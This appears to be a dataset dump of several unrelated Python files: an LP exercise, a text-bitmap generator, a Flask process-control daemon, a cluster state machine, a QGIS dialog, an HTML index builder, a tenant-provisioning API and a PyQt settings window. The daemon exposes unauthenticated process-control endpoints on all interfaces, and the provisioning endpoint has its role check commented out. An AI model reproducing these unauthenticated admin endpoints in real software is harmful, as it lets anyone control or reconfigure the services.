+ x2 + x3 <= 99 #less than 100 pages\nprob += x3 - x2 >= 5 #environ. at least 5 more than military\nprob += x1 - x2 >= 5 #economy at least 5 more than military\n#prob += x2 >= 3\n\n# defines the objective function to maximize\n# impact function\nprob += 5*x1\nprob += 2*x2\nprob += 4*x3\n\n# solve the problem\nstatus = prob.solve(GLPK(msg=0))\nLpStatus[status]\n\nvalue(x1)\nvalue(x2)\nvalue(x3)\n\nprint(prob)\nprint(x1.varValue)\nprint(x2.varValue)\nprint(x3.varValue)\n\n","sub_path":"400 - MathModellers/week 5/midterms/q6v2.py","file_name":"q6v2.py","file_ext":"py","file_size_in_byte":758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"282154236","text":"import Image, ImageFont, ImageDraw\nimport numpy as np\nimport os\n\ndef getText(input, size):\n\tresult = \"\"\n\tfont = ImageFont.truetype('arialbd.ttf', size) #load the font\n\tsize = font.getsize(input) #calc the size of text in pixels\n\timage = Image.new('1', size, 1) #create a b/w image\n\tdraw = ImageDraw.Draw(image)\n\tdraw.text((0, 0), input, font=font) #render the text to the bitmap\n\tfor rownum in range(size[1]):\n\t\t# scan the bitmap: print ' ' for black pixel and print '#' for white one\n\t\tline = []\n\t\tfor colnum in range(size[0]-1):\n\t\t\tif image.getpixel((colnum, rownum)):\n\t\t\t\tline.append(' '),\n\t\t\telse:\n\t\t\t\tline.append('#'),\n\t\tcurrentLine = ''.join(line)\n\t\tfor ele in currentLine:\n\t\t\tif ele == \"#\":\n\t\t\t\tif rownum != size[1] - 1:\n\t\t\t\t\tresult += currentLine + \"\\n\"\n\t\t\t\telse:\n\t\t\t\t\tresult += currentLine\n\t\t\t\tbreak\n\treturn result\n\nnewX = []\nnewY = []\ntext = getText(\"Hello World!\",80)\nlineCounter = len(text.split('\\n'))\nfor line in text.split('\\n'):\n\teleCounter = 0\n\tfor ele in line:\n\t\tif ele == \"#\":\n\t\t\tnewX.append(eleCounter)\n\t\t\tnewY.append(lineCounter)\n\t\teleCounter += 1\n\tlineCounter -= 1\ndata = np.append(np.array(newX), np.array(newY)).reshape(2,len(newX)).transpose()\n\ndir_path = os.path.dirname(os.path.realpath(__file__))\ndataAsText = \"\"\nfor line in data:\n\tdataAsText += str(line[0]) + \",\" + str(line[1]) + \",0\\n\"\nwith open(os.path.join(dir_path, \"..\",\"..\", \"data\", \"testData.txt\"),'w') as file:\n\tfile.write(dataAsText)","sub_path":"mllib/basics/helloWorldGenerator.py","file_name":"helloWorldGenerator.py","file_ext":"py","file_size_in_byte":1424,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"113704568","text":"from flask import Flask, escape, request, url_for, send_file\nimport logging\nimport subprocess\nimport os\nimport signal\n\napp = Flask(__name__)\n\nshell_cmd = 'python3 main.py'\np = subprocess.Popen(shell_cmd, shell=True)\n\n\"\"\"\nstatus() return code:\n0 - running\n1 - normal exit\n2 - exit on error\n3 - killed by signal\n\"\"\"\n\n\n@app.route('/status')\ndef status():\n if p.poll() is None:\n return '0'\n elif p.poll() == 0:\n return '1'\n elif p.poll() > 0:\n return '2'\n return '3'\n\n\n\"\"\"\npid() returns subprocess (repo)'s process id\n\"\"\"\n\n\n@app.route('/pid')\ndef pid():\n return str(p.pid)\n\n\n\"\"\"\nstop() returns 0, a confirmation.\n\"\"\"\n\n\n@app.route('/stop')\ndef stop():\n if p.poll() is None:\n os.kill(p.pid, signal.SIGTERM)\n return '0'\n\n\n\"\"\"\nrestart() returns 0, a confirmation.\n\"\"\"\n\n\n@app.route('/restart')\ndef restart():\n global p\n if p.poll() is None:\n os.kill(p.pid, signal.SIGTERM)\n p = subprocess.Popen(shell_cmd, shell=True)\n return '0'\n\n\n@app.route('/start')\ndef start():\n global p\n if p.poll() is None:\n return '0' #'already running' user doesn't need to know this detail\n p = subprocess.Popen(shell_cmd, shell=True)\n return '0'\n\n\n@app.route('/perform_test')\ndef perform_test():\n return 'not yet implemented'\n\n\ndef main():\n logging.info('repo daemon has been started')\n\n\nif __name__ == \"__main__\":\n logging.basicConfig(format='[%(asctime)s]%(levelname)s:%(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n level=logging.INFO)\n app.run(host='0.0.0.0', port=9876)\n try:\n main()\n except KeyboardInterrupt:\n pass\n","sub_path":"obsolete/control_center/repo_daemon.py","file_name":"repo_daemon.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"68235014","text":"#!/bin/python\n#from hyaline_state import *\nimport threading\n# from twitter.common import log\nfrom hyaline.scheduler.hyaline_scheduler import log\nimport time\nclass Enum(set):\n def __getattr__(self, name):\n if name in self:\n return name\n raise AttributeError\n\nNodestate = Enum([\"STAGING\",\"STAGING_FAILED\", \"STARTING\", \"STARTING_FAILED\", \"RUNNING\", \"STOPPING\", \"STOPPING_FAILED\", \"STOPPED\",\n \"PHYSICS_RESTORING\", \"PHYSICS_RESTORING_FAILED\", \"SERVICE_RESTORING\", \"SERVICE_RESTORING_FAILED\",\n \"DATA_RESTORING\", \"CHANGE_HOST_RESTORING\", \"CHANGE_HOST_RESTORING_FAILED\",\n \"DELETING\", \"DELETING_FAILED\", \"DELETED\", \"SHIFTDELETING\", \"SHIFTDELETED\",\n \"SERVICE_RESTORE_START\",\"CHANGE_HOST_RESTORE_START\",\"PHYSICS_RESTORE_START\",\n \"EXPANDING\",\"EXPANDING_FAILED\",\"CONTRACTING\",\"CONTRACTING_FAILED\"])\n#STARTING: node is starting,\n#RUNNING: node is good running\n#STOPING: node is stopping, when it done, nodestate will be STOPPED\n#STOPPED: node is already stopped, it can be started again.\n#SERVICE_RESTORING: node is restoring mysql service in original engine,if this operation succeed,state will be DATA_RESTORING,\n# otherwise state will be WAITING_SERVICE_RESTORE or RESTORE_FAILED\n#DATA_RESTORING: node is restoring mysql data , if this operation succeed,state will be RUNNING,\n# otherwise state will be WAITING_SERVICE_RESTORE or RESTORE_FAILED\n#CHANGE_HOST_RESTORING:\n#RESTORE_FAILED: can not restore node\n#DELETED: node is deleted and can not be started again.\nClusterstate=Enum([\"INITIALIZING\", \"LAUNCHING\", \"INITIALIZING_FAILED\", \"STARTING\", \"STARTING_FAILED\", \"DELETING\",\n 'DELETED', \"DELETING_FAILED\", \"RUNNING\", \"RESTORE\", \"ADDINGNODE\", \"ADDINGNODE_FAILED\",\n \"STARTINGNODE\", \"STARTINGNODE_FAILED\", \"STOPPINGNODE\", \"STOPPINGNODE_FAILED\", \"DELETINGNODE\",\n \"DELETINGNODE_FAILED\", \"STOPPING\", \"STOPPING_FAILED\", \"STOPPED\", \"STOPNODE\",\"SHIFTDELETE\"])\n\n#INITIALIZING: cluster is starting, when cluster is created ,this will be set\n#ADD : cluster is adding a node ,the cluster can not be operated by others in this state.\n#DELETE: cluster is already deleted.\n#RUNNING : all node of this cluster is good running, when you want to operate cluster, this state should be changed.\n#RESTORE : some node of this cluster is not in the state of RUNNING\n\nclass Stateupdate(object):\n def __init__(self, mysqlcluster):\n self._cluster = mysqlcluster\n self._lock = threading.Lock()\n\n def nodestate_update(self, task_id, nodestate):\n with self._lock:\n cluster_name = self._cluster.name\n try:\n task = self._cluster.tasks[task_id]\n except KeyError:\n log.error(\"Task %s not in cluster %s\" % (task_id, self._cluster.name))\n return False\n task.count = 0\n previous_state = task.nodestate\n previous_clusterstate = self._cluster.clusterstate\n if previous_state == nodestate:\n return False\n task.nodestate = nodestate\n log.info(\"Update %s's nodestate from %s to %s. \" % (task_id, previous_state, nodestate))\n if self._cluster.clusterstate == Clusterstate.DELETING:\n if task.nodestate == Nodestate.DELETING_FAILED:\n self._cluster.clusterstate = Clusterstate.DELETING_FAILED\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" %(cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n elif task.nodestate in [Nodestate.SERVICE_RESTORING,\n Nodestate.SERVICE_RESTORING_FAILED,\n Nodestate.DATA_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING_FAILED,\n Nodestate.PHYSICS_RESTORING,\n Nodestate.PHYSICS_RESTORING_FAILED]:\n task.nodestate = Nodestate.DELETED\n if self._cluster.clusterstate == Clusterstate.DELETINGNODE:\n if task.nodestate == Nodestate.DELETING_FAILED:\n self._cluster.clusterstate = Clusterstate.DELETINGNODE_FAILED\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n elif previous_state in [Nodestate.DELETING,Nodestate.DELETED] \\\n and task.nodestate in [Nodestate.SERVICE_RESTORING,\n Nodestate.SERVICE_RESTORING_FAILED,\n Nodestate.DATA_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING_FAILED,\n Nodestate.PHYSICS_RESTORING,\n Nodestate.PHYSICS_RESTORING_FAILED]:\n task.nodestate = Nodestate.DELETED\n return True\n if self.is_delete():\n self._cluster.clusterstate = Clusterstate.DELETED\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n\n if self._cluster.clusterstate in [Clusterstate.DELETING,Clusterstate.DELETING_FAILED,Clusterstate.DELETED]:\n return True\n\n if self._cluster.clusterstate == Clusterstate.STARTING_FAILED and task.nodestate == Nodestate.STOPPED:\n return True\n\n if self._cluster.clusterstate in [Clusterstate.INITIALIZING, Clusterstate.LAUNCHING] and self.is_initialfail():\n self._cluster.clusterstate = Clusterstate.INITIALIZING_FAILED\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n\n if self._cluster.clusterstate == Clusterstate.ADDINGNODE and \\\n previous_state in [Nodestate.STAGING, Nodestate.STARTING] and task.nodestate in [Nodestate.SERVICE_RESTORING,\n Nodestate.SERVICE_RESTORING_FAILED,\n Nodestate.CHANGE_HOST_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING_FAILED,\n Nodestate.PHYSICS_RESTORING,\n Nodestate.PHYSICS_RESTORING_FAILED,\n Nodestate.STARTING_FAILED]:\n task.nodestate = Nodestate.STAGING_FAILED\n self._cluster.clusterstate = Clusterstate.ADDINGNODE_FAILED\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n\n if self._cluster.clusterstate == Clusterstate.STARTINGNODE:\n if task.nodestate == Nodestate.STARTING_FAILED:\n self._cluster.clusterstate = Clusterstate.STARTINGNODE_FAILED\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n if task.nodestate in [Nodestate.SERVICE_RESTORING,\n Nodestate.SERVICE_RESTORING_FAILED,\n Nodestate.DATA_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING_FAILED,\n Nodestate.PHYSICS_RESTORING,\n Nodestate.PHYSICS_RESTORING_FAILED]:\n for task2 in self._cluster.tasks.values():\n if task2.nodestate in [Nodestate.STAGING, Nodestate.STARTING]:\n return True\n\n if self._cluster.clusterstate == Clusterstate.STOPPINGNODE:\n if task.nodestate == Nodestate.STOPPING_FAILED:\n self._cluster.clusterstate = Clusterstate.STOPPINGNODE_FAILED\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n elif task.nodestate in [Nodestate.SERVICE_RESTORING,\n Nodestate.SERVICE_RESTORING_FAILED,\n Nodestate.DATA_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING_FAILED,\n Nodestate.PHYSICS_RESTORING,\n Nodestate.PHYSICS_RESTORING_FAILED]:\n task.nodestate = Nodestate.STOPPED\n\n if self._cluster.clusterstate == Clusterstate.STARTING and self.is_starting_failed():\n self._cluster.clusterstate = Clusterstate.STARTING_FAILED\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n\n if self._cluster.clusterstate == Clusterstate.STOPPING:\n if task.nodestate == Nodestate.STOPPING_FAILED:\n self._cluster.clusterstate = Clusterstate.STOPPIN_FAILED\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n elif task.nodestate in Nodestate.SERVICE_RESTORING:\n task.nodestate = Nodestate.STOPPED\n\n if self.is_restore():\n self._cluster.clusterstate = Clusterstate.RESTORE\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n\n if self.is_stopped():\n self._cluster.clusterstate = Clusterstate.STOPPED\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n if previous_state == Nodestate.STOPPING and self.is_nodestop():\n self._cluster.clusterstate = Clusterstate.STOPNODE\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n if self.is_running():\n self._cluster.clusterstate = Clusterstate.RUNNING\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n if self.is_stopnode():\n self._cluster.clusterstate = Clusterstate.STOPNODE\n if self._cluster.clusterstate != previous_clusterstate:\n log.info(\"Update %s's clusterstate from %s to %s. \" % (\n cluster_name, previous_clusterstate, self._cluster.clusterstate))\n return True\n\n def clusterstate_upstate(self,clusterstate):\n with self._lock:\n previous_state = self._cluster.clusterstate\n if previous_state == clusterstate:\n return False\n self._cluster.clusterstate = clusterstate\n return True\n\n def is_running(self):\n for task in self._cluster.tasks.values():\n if task.nodestate in [Nodestate.DELETING,\n Nodestate.DELETED,\n Nodestate.DELETING_FAILED]:\n continue\n if task.nodestate != Nodestate.RUNNING:\n return False\n return True\n\n def is_stopnode(self):\n for task in self._cluster.tasks.values():\n if task.nodestate not in [Nodestate.RUNNING,\n Nodestate.STOPPED]:\n return False\n return True\n\n def is_delete(self):\n for task in self._cluster.tasks.values():\n if task.nodestate != Nodestate.DELETED:\n return False\n return True\n\n def is_restore(self):\n for task in self._cluster.tasks.values():\n if task.nodestate in [Nodestate.SERVICE_RESTORING,\n Nodestate.SERVICE_RESTORING_FAILED,\n Nodestate.DATA_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING_FAILED,\n Nodestate.PHYSICS_RESTORING,\n Nodestate.PHYSICS_RESTORING_FAILED,\n Nodestate.SERVICE_RESTORE_START,\n Nodestate.CHANGE_HOST_RESTORE_START,\n Nodestate.PHYSICS_RESTORE_START]:\n return True\n return False\n\n def is_starting_failed(self):\n for task in self._cluster.tasks.values():\n if task.nodestate == Nodestate.STARTING_FAILED:\n return True\n return False\n\n def is_initialfail(self):\n for task in self._cluster.tasks.values():\n if task.nodestate in [Nodestate.SERVICE_RESTORING,\n Nodestate.SERVICE_RESTORING_FAILED,\n Nodestate.DATA_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING,\n Nodestate.CHANGE_HOST_RESTORING_FAILED,\n Nodestate.PHYSICS_RESTORING,\n Nodestate.PHYSICS_RESTORING_FAILED,\n Nodestate.STARTING_FAILED]:\n task.nodestate = Nodestate.STARTING_FAILED\n return True\n return False\n\n def is_stopped(self):\n for task in self._cluster.tasks.values():\n if task.nodestate in [Nodestate.DELETING,\n Nodestate.DELETED,\n Nodestate.DELETING_FAILED]:\n continue\n if task.nodestate != Nodestate.STOPPED:\n return False\n return True\n\n def a_running(self):\n for task in self._cluster.tasks.values():\n if task.nodestate == Nodestate.RUNNING:\n return True\n return False\n\n\n def is_nodestop(self):\n if self.a_running():\n for task in self._cluster.tasks.values():\n if task.nodestate == Nodestate.RUNNING:\n continue\n if task.nodestate == Nodestate.STOPPING:\n return False\n if task.nodestate == Nodestate.STOPPED:\n return True\n return False\n else:\n return False\n\n\n\n\n\n\n\n","sub_path":"hyaline/scheduler/hyaline_state.py","file_name":"hyaline_state.py","file_ext":"py","file_size_in_byte":16519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"438619156","text":"from io import open\nfrom setuptools import find_packages, setup\n\nwith open('requirements.txt') as fp:\n install_requires = fp.read()\n\nsetup(\n name=\"tsvtools\",\n version=\"0.0.1\",\n author=\"\",\n author_email=\"qurator@sbb.spk-berlin.de\",\n description=\"neath\",\n long_description=open(\"README.md\", \"r\", encoding='utf-8').read(),\n long_description_content_type=\"text/markdown\",\n keywords='qurator',\n license='Apache License 2.0',\n url=\"https://github.com/qurator-spk/neath\",\n packages=find_packages(exclude=[\"*.tests\", \"*.tests.*\",\n \"tests.*\", \"tests\"]),\n install_requires=install_requires,\n entry_points={\n 'console_scripts': [\n \"extract-doc-links=tsvtools.cli:extract_document_links\",\n \"annotate-tsv=tsvtools.cli:annotate_tsv\",\n \"page2tsv=tsvtools.cli:page2tsv\",\n \"tsv2page=tsvtools.cli:tsv2page\",\n \"find-entities=tsvtools.cli:find_entities\",\n \"make-page2tsv-commands=tsvtools.cli:make_page2tsv_commands\"\n ]\n },\n python_requires='>=3.6.0',\n tests_require=['pytest'],\n classifiers=[\n 'Intended Audience :: Science/Research',\n 'License :: OSI Approved :: Apache Software License',\n 'Programming Language :: Python :: 3',\n 'Topic :: Scientific/Engineering :: Artificial Intelligence',\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1360,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"345907557","text":"from deposit.commander.dialogs._Dialog import (Dialog)\n\nfrom qgis.PyQt import (QtWidgets, QtCore, QtGui)\n\nclass LinkDB(Dialog):\n\t\n\tdef title(self):\n\t\t\n\t\treturn \"Link Database\"\n\t\n\tdef set_up(self):\n\t\t\n\t\tself.setMinimumWidth(600)\n\t\tself.setModal(True)\n\t\tself.layout = QtWidgets.QVBoxLayout()\n\t\tself.setLayout(self.layout)\n\t\t\n\t\tself.form_layout = QtWidgets.QFormLayout()\n\t\tself.form = QtWidgets.QWidget()\n\t\tself.form.setLayout(self.form_layout)\n\t\tself.layout.addWidget(self.form)\n\t\t\n\t\tself.db = self.model.datasources.DB()\n\t\tself.dbrel = self.model.datasources.DBRel()\n\t\tself.ds = None\n\t\t\n\t\tconnstrings = []\n\t\tfor row in self.view.menu.get_recent(): # [[url], [identifier, connstr], ...]\n\t\t\tif len(row) == 2:\n\t\t\t\tconnstrings.append(row[1])\n\t\t\n\t\tself.connstr = QtWidgets.QComboBox()\n\t\tif connstrings:\n\t\t\tself.connstr.addItems(connstrings)\n\t\tself.connstr.setEditable(True)\n\t\tself.connstr.currentTextChanged.connect(self.on_connstr_changed)\n\t\t\n\t\tself.identifier = QtWidgets.QListWidget()\n\t\t\n\t\tself.form_layout.addRow(\"Connect string:\", self.connstr)\n\t\tself.form_layout.addRow(\"Identifier:\", self.identifier)\n\t\t\n\t\tif connstrings:\n\t\t\tself.on_connstr_changed(connstrings[0])\n\t\n\tdef on_connstr_changed(self, connstr):\n\t\t\n\t\tself.identifier.clear()\n\t\tself.identifier.setEnabled(False)\n\t\tself.ds = None\n\t\tif connstr:\n\t\t\tif self.dbrel.set_connstr(connstr) and self.dbrel.is_valid():\n\t\t\t\tself.identifier.addItem(self.dbrel.get_identifier())\n\t\t\t\tself.ds = self.dbrel\n\t\t\t\treturn\n\t\t\t\n\t\t\tif self.db.set_connstr(connstr):\n\t\t\t\tidentifiers = self.db.get_identifiers()\n\t\t\t\tif identifiers:\n\t\t\t\t\tself.identifier.addItems(identifiers)\n\t\t\t\t\tself.identifier.setEnabled(True)\n\t\t\t\t\tself.ds = self.db\n\t\n\tdef process(self):\n\t\t\n\t\titem = self.identifier.currentItem()\n\t\tif item and item.isSelected():\n\t\t\tidentifier = item.text()\n\t\t\tif identifier and (not self.ds is None):\n\t\t\t\tif self.ds.identifier is None:\n\t\t\t\t\tself.ds.set_identifier(identifier)\n\t\t\t\tself.ds.link()\n\t\t\t\tself.view.menu.add_recent_db(self.ds.identifier, self.ds.connstr)\n\t\n\t","sub_path":"deposit/commander/dialogs/LinkDB.py","file_name":"LinkDB.py","file_ext":"py","file_size_in_byte":2006,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"334937958","text":"#!/usr/bin/python\n\n## build_html_index.py\n\nimport sys\nimport os\nimport glob\nimport time\n\n\nclass IndexPage():\n html_Template = \"\"\"\n\n\t\n\t\t%%Title%%\n \n\t\t\n\t\n\n\t\n
\n \t
\n \n
\n\n \t
\n

%%Title2%%

\n
\n\t %%REPEAT%%

%%DOCName%% - %%DOCTitle%% %%DOCDescr%%

%%REPEAT%%\n\t
\n
\n\n
\n

For any questions please contact: Response Geospatial Office

\n
\n
\n\t\"\"\"\n \n Title = \"FEMA Public Files\"\n Title2 = \"\"\n tokens = [\"DOCURL\",\"DOCName\", \"DOCTitle\", \"DOCDescr\"]\n Contact = ''\n ContactURL = ''\n\n def __init__(self, fHandle, pageTitle, contents):\n self.fH = fHandle\n self.Title = pageTitle\n self.contents = contents\n\n def writeHeader(self):\n d = self.html_Template.split(\"%%REPEAT%%\")[0]\n d = d.replace(\"%%Title%%\", self.Title)\n d = d.replace(\"%%Title2%%\", self.Title2)\n self.fH.write(d)\n\n def format_contents(self, data):\n if data[3]:\n d = {\"DOCURL\":data[0], \"DOCName\": data[0], \"DOCTitle\":data[1], \"DOCDescr\": '', \"isDir\":data[3]}\n else:\n d = {\"DOCURL\":data[0], \"DOCName\": data[0], \"DOCTitle\":data[1], \"DOCDescr\": \"created: \" + time.ctime(data[2]), \"isDir\":data[3]} \n return d\n \n def writeItems(self):\n rpt = self.html_Template.split(\"%%REPEAT%%\")[1]\n rep = \"\"\n for da in self.contents:\n if da[0] == 'index.html':\n continue\n d = self.format_contents(da)\n r = rpt\n for k in self.tokens:\n r = r.replace('%%'+k+'%%', d[k] or '')\n rep = rep + r\n self.fH.write(rep)\n\n def writeFooter(self):\n d = self.html_Template.split(\"%%REPEAT%%\")[-1]\n d = d.replace(\"%%Contact%%\", self.Contact)\n d = d.replace(\"%%ContactURL%%\", self.ContactURL)\n self.fH.write(d)\n\ndef get_dir_contents(srchPath):\n data = []\n parts = os.listdir(srchPath)\n for p in parts:\n pq = os.path.join(srchPath, p)\n isDir = os.path.isdir(pq)\n objTime = os.path.getmtime(pq)\n objTitle = ''\n data.append([p, objTitle, objTime, isDir])\n return data\n\ndef build_index_page(data, title, dirPath):\n with open(os.path.join(dirPath,'index.html'), 'wt') as indexFile:\n indexPage = IndexPage(indexFile, title, data)\n indexPage.writeHeader()\n indexPage.writeItems()\n \n indexPage.writeFooter()\n\ndef main(args):\n sDir = args[0] or './raw'\n p = get_dir_contents(sDir)\n build_index_page(p, args[1] or 'VIIRS Flooded Areas', sDir)\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])\n","sub_path":"pr_3d/build_html_index.py","file_name":"build_html_index.py","file_ext":"py","file_size_in_byte":4304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"97870175","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSchames listing APIs\n\"\"\"\nimport logging\nimport importlib\nimport httplib\n\nfrom flask import Blueprint, current_app, url_for, abort, request, g\nfrom flask_restful import Api, Resource\n\nfrom driftconfig.util import get_drift_config\nfrom driftconfig.relib import create_backend, get_store_from_url\nfrom drift.core.extensions.jwt import jwt_not_required\n\nfrom drift.auth.jwtchecker import requires_roles\nfrom drift.core.extensions.schemachecker import simple_schema_request\n\nlog = logging.getLogger(__name__)\nbp = Blueprint(\"admin\", __name__)\napi = Api(bp)\n\nclass AdminProvisionAPI(Resource):\n\n no_jwt_check = [\"POST\"]\n\n #@requires_roles(\"service\")\n @simple_schema_request({\n \"provisioners\": {\"type\": \"array\", },\n }, required=[])\n def post(self):\n tenant_name = g.conf.tenant_name['tenant_name']\n tier_name = g.conf.tier['tier_name']\n\n # quick check for tenant state before downloading config\n if g.conf.tenant[\"state\"] != \"initializing\":\n abort(httplib.BAD_REQUEST, message=\"You can only provision tenants which are in state 'initializing'. Tenant '%s' is in state '%s'\" % (tenant_name, g.conf.tenant[\"state\"]))\n\n args_per_provisioner = {}\n if request.json:\n for arg in request.json.get(\"provisioners\", {}):\n if \"provisioner\" not in arg or \"arguments\" not in arg:\n log.warning(\"Provisioner argument missing 'provisioner' or 'arguments'\")\n continue\n args_per_provisioner[arg[\"provisioner\"]] = arg[\"arguments\"]\n\n origin = g.conf.domain['origin']\n ts = get_store_from_url(origin)\n conf = get_drift_config(\n ts=ts,\n tenant_name=tenant_name,\n tier_name=tier_name,\n deployable_name=current_app.config['name']\n )\n\n\n if conf.tenant[\"state\"] != \"initializing\":\n raise RuntimeError(\"Tenant unexpectedly found in state '%s': %s\" % (conf.tenant[\"state\"], conf.tenant))\n\n resources = current_app.config.get(\"resources\")\n for module_name in resources:\n m = importlib.import_module(module_name)\n if hasattr(m, \"provision\"):\n provisioner_name = m.__name__.split('.')[-1]\n log.info(\"Provisioning '%s' for tenant '%s' on tier '%s'\", provisioner_name, tenant_name, tier_name)\n\n args = args_per_provisioner.get(provisioner_name, {})\n m.provision(conf, args)\n\n # Mark the tenant as ready\n conf.tenant[\"state\"] = \"active\"\n\n # Save out config\n log.info(\"Saving config to %s\", origin)\n origin_backend = create_backend(origin)\n origin_backend.save_table_store(ts)\n\n local_origin = 'file://~/.drift/config/' + g.conf.domain['domain_name']\n log.info(\"Saving config to %s\", local_origin)\n local_store = create_backend(local_origin)\n local_store.save_table_store(ts)\n\n # invalidate flask config\n current_app.extensions['driftconfig'].refresh()\n\n return \"OK\"\n\n\napi.add_resource(AdminProvisionAPI, \"/provision\")\n","sub_path":"drift/core/apps/provision/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"419925482","text":"# coding=utf-8\nfrom PyQt4 import QtGui, QtCore\nimport sys\nimport os\n\n\nclass widget(QtGui.QWidget):\n def __init__(self):\n\n super(widget, self).__init__()\n\n # self.setWindowIcon()\n self.setWindowTitle('Настройки')\n\n self.buildGUI()\n self.setupConnections()\n\n def buildGUI(self):\n self.setFixedSize(600, 400)\n\n self.mpd_ip1 = '127.0.0.1'\n self.mpd_port1 = '6660'\n self.tray_st = '1'\n\n if \".settings.conf\" in os.listdir():\n self.file = open('.settings.conf', 'r')\n count = 0\n for line in self.file:\n if count == 0:\n self.mpd_ip1 = line[7:-1]\n if count == 1:\n self.mpd_port1 = line[9:-1]\n if count == 2:\n self.tray_st = line[5:6]\n count += 1\n self.button_accept = QtGui.QPushButton(self)\n self.button_cancel = QtGui.QPushButton(self)\n\n self.button_accept.setGeometry(430, 364, 70, 30)\n self.button_accept.setText(\"Приянть\")\n\n self.button_cancel.setGeometry(510, 364, 70, 30)\n self.button_cancel.setText(\"Отмена\")\n\n self.qlist1 = QtGui.QListWidget(self)\n self.qlist1.setGeometry(-1, -1, 200, 360)\n\n self.qlist2 = QtGui.QListWidget(self)\n self.qlist2.setGeometry(205, -1, 400, 360)\n\n self.qlist1.addItem(\"Общие\")\n\n def clearList(self):\n self.qlist2.clear()\n\n def items_for_general(self):\n self.checkbox = QtGui.QListWidgetItem()\n self.checkbox.setText(\n \"Включить Tray\")\n self.checkbox.setFlags(self.checkbox.flags() |\n QtCore.Qt.ItemIsUserCheckable)\n self.checkbox.setCheckState(QtCore.Qt.Checked)\n self.qlist2.addItem(self.checkbox)\n self.tray_st = self.checkbox.checkState()\n\n self.mpd_path = QtGui.QListWidgetItem()\n self.mpd_path.setText(self.mpd_ip1)\n self.mpd_path.setFlags(self.mpd_path.flags() |\n QtCore.Qt.ItemIsEditable)\n self.mpd_port = QtGui.QListWidgetItem()\n self.mpd_port.setText(self.mpd_port1)\n self.mpd_port.setFlags(self.mpd_port.flags() |\n QtCore.Qt.ItemIsEditable)\n self.qlist2.addItem(self.mpd_path)\n self.qlist2.addItem(self.mpd_port)\n\n def itemClickedqlist1(self, item):\n self.clearList()\n if item.text() == \"Общие\":\n self.items_for_general()\n\n def setupConnections(self):\n self.connect(self.qlist1,\n QtCore.SIGNAL(\"itemClicked(QListWidgetItem*)\"),\n self.itemClickedqlist1)\n self.button_cancel.clicked.connect(self.cancel_action)\n self.button_accept.clicked.connect(self.accept_action)\n\n def cancel_action(self, event):\n self.deleteLater()\n\n def accept_action(self, event):\n self.file = open('.settings.conf', 'w')\n self.file.write(\"mpd_ip \" + str(self.mpd_path.text()) + \"\\n\")\n self.file.write(\"mpd_port \" + str(self.mpd_port.text()) + \"\\n\")\n if self.tray_st == 0:\n self.file.write(\"tray 0\\n\")\n 